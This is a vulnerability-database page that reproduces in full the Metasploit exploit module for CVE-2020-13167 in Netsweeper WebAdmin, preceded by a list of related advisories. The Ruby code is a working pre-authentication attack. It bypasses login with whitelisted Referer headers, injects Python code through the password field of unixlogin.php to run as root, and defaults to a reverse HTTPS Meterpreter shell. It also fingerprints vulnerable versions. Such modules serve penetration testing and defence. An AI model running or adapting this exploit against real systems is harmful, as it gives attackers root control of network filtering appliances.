Lucene search
K

Netsweeper WebAdmin unixlogin.php Python Code Injection

🗓️ 12 May 2020 13:34:20Reported by wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 147 Views

This module exploits a Python code injection in the Netsweeper WebAdmin component's unixlogin.php script, for versions 6.4.4 and prior, to execute code as the root user. Authentication is bypassed by sending a random whitelisted Referer header in each request. Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs. Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has been confirmed exploitable

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2020-13167
19 May 202000:00
attackerkb
Circl
CVE-2020-13167
12 May 202017:33
circl
CNVD
Netsweeper Injection Vulnerability
20 May 202000:00
cnvd
CVE
CVE-2020-13167
19 May 202019:29
cve
Cvelist
CVE-2020-13167
19 May 202019:29
cvelist
Nuclei
Netsweeper <=6.4.3 - Python Code Injection
4 Jun 202603:48
nuclei
NVD
CVE-2020-13167
19 May 202020:15
nvd
OSV
CVE-2020-13167
19 May 202020:15
osv
Prion
Design/Logic Flaw
19 May 202020:15
prion
RedhatCVE
CVE-2020-13167
22 May 202516:15
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netsweeper WebAdmin unixlogin.php Python Code Injection',
        'Description' => %q{
          This module exploits a Python code injection in the Netsweeper
          WebAdmin component's unixlogin.php script, for versions 6.4.4 and
          prior, to execute code as the root user.

          Authentication is bypassed by sending a random whitelisted Referer
          header in each request.

          Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
          Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
          been confirmed exploitable.
        },
        'Author' => [
          # Reported to SSD (SecuriTeam) by an anonymous researcher
          # Example exploit written by said anonymous researcher
          # Publicly disclosed by Noam Rathaus of SSD (SecuriTeam)
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-13167'],
          ['URL', 'https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/'],
          ['URL', 'https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says']
        ],
        'DisclosureDate' => '2020-04-28', # SSD (SecuriTeam) advisory
        'License' => MSF_LICENSE,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'Privileged' => true,
        'Targets' => [['Python', {}]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'python/meterpreter/reverse_https'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,
                             '/webadmin/tools/systemstatus_remote.php'),
      'headers' => {
        'Referer' => rand_referer(:check) # Auth bypass via Referer header
      }
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200
      return CheckCode::Unknown('Target is not running Netsweeper.')
    end

    if res.body.include?('Permission Denied: Unauthorized access.')
      return CheckCode::Safe('Target has rejected our Referer auth bypass.')
    end

    # Example version information from /webadmin/tools/systemstatus_remote.php:
    #   Version: 6.4.3
    #   Build Date: 2020-03-27 14:15:19
    #   Database Version: 139
    unless (version = res.body.scan(/^Version: ([\d.]+)$/).flatten.first)
      return CheckCode::Detected(
        'Target did not respond with Netsweeper version.'
      )
    end

    if Rex::Version.new(version) <= Rex::Version.new('6.4.4')
      return CheckCode::Appears(
        "Netsweeper #{version} is a vulnerable version."
      )
    end

    CheckCode::Safe("Netsweeper #{version} is NOT a vulnerable version.")
  end

  def exploit
    referer = rand_referer(:exploit)
    vprint_status("Selecting random whitelisted Referer header: #{referer}")
    vprint_status("Injecting Python code into password field: #{fake_password}")

    normie_uri = normalize_uri(target_uri.path, '/webadmin/tools/unixlogin.php')
    print_status("Sending #{datastore['PAYLOAD']} to #{full_uri(normie_uri)}")

    # The application may block on the payload, so time out reasonably soon
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normie_uri,
      'headers' => {
        'Referer' => referer
      },
      'vars_post' => {
        'login' => '.', # Bypass user check by injecting `grep . /etc/shadow'
        'password' => fake_password
      }
    }, 3.5)

    return unless res

    # An unexpected reply typically means some sort of error, so print it out
    fail_with(Failure::UnexpectedReply, res.body)
  end

  def fake_password
    return @fake_password if @fake_password

    # Arguments for crypt.crypt(): https://docs.python.org/2/library/crypt.html
    word = rand_text_alphanumeric(8..42)
    salt = rand_text_alphanumeric(2) # This is DES-safe because we remove algo

    # Python code injection occurs in the $2 positional parameter from sh(1):
    #   password=$($PYTHON -c "import crypt; print crypt.crypt('$2', '\$$algo\$$salt\$')")
    @fake_password = "#{word}', '#{salt}'); #{payload.encoded} #"
  end

  # Select a random Referer [sic] header value from an appropriate whitelist
  def rand_referer(method = :check)
    case method
    when :check
      %w[
        webadmin/admin/systemstatus_inc_data.php
        webadmin/api/
        webadmin/common/systemstatus_overview_ajax.php
      ].sample
    when :exploit
      %w[
        systemconfig/edit_database_settings.php
        systemconfig/edit_file.php
        systemconfig/manage_certs.php
        webadmin/admin/service_manager_data.php
        webadmin/api/
        webadmin/systemconfig/edit_email_sending_settings.php
        webadmin/systemconfig/grant_db_access.php
      ].sample
    else
      fail_with(Failure::BadConfig,
                "I don't know how to #{method}, but I do know how to love")
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation